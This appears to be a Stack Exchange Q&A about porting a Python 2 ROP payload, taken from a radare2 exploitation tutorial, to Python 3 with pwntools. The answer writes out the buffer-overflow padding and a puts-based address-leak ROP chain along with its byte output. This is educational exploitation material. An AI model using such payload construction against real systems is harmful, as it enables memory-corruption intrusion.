0

On the tutorial by Megabeets, "A journey into Radare 2 – Part 2: Exploitation", he shows an example of how to create a payload with Python2

# Initial payload
payload  =  "A"*140 # padding
ropchain =  p32(puts_plt)
ropchain += p32(entry_point)
ropchain += p32(puts_got)

payload = payload + ropchain

How would that get ported to Python3? p32 is a 32bit integer. Python3 uses bytes() instead of strings. What's the right way to do this?

python3-pwntools's docs show that there are some payload helpers. But, I couldn't get them to work. Worse yet, those helpers were available in Python2 as well, but not used (not sure why).

How would I write Megabeet's example using python3-pwntools?

1

Actually, this is a programming question and not an RE question. Anyway, you simply need to tell python to treat your payload as bytes by adding the bytes-literal b before the 'A'*140.

>>> from pwn import *
>>>
>>> puts_plt = 0x8048390
>>> puts_got = 0x804a014
>>> entry_point = 0x80483d0
>>>
>>> payload  =  b'A' * 40   # Only 40 for the example
>>> ropchain =  p32(puts_plt)
>>> ropchain += p32(entry_point)
>>> ropchain += p32(puts_got)
>>>
>>> payload = payload + ropchain
>>>
>>> print(payload)
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x90\x83\x04\x08\xd0\x83\x04\x08\x14\xa0\x04\x08'
>>>

For further reading, you can read the String and Bytes literals page in the Python3 documentation.

  • I tried this but it didn't work with your script, so I was wondering if there was more to it in python3 as I'm fairly certain I got the variables at the top correct (see this for follow up reverseengineering.stackexchange.com/q/19784/22669). I wasn't sure if it was as simple as using the bit literals, or if I was supposed to use the payload formatter in pwntools. – Evan Carroll Nov 1 '18 at 17:43

Your Answer

By clicking "Post Your Answer", you acknowledge that you have read our updated terms of service, privacy policy and cookie policy, and that your continued use of the website is subject to these policies.

Not the answer you're looking for? Browse other questions tagged or ask your own question.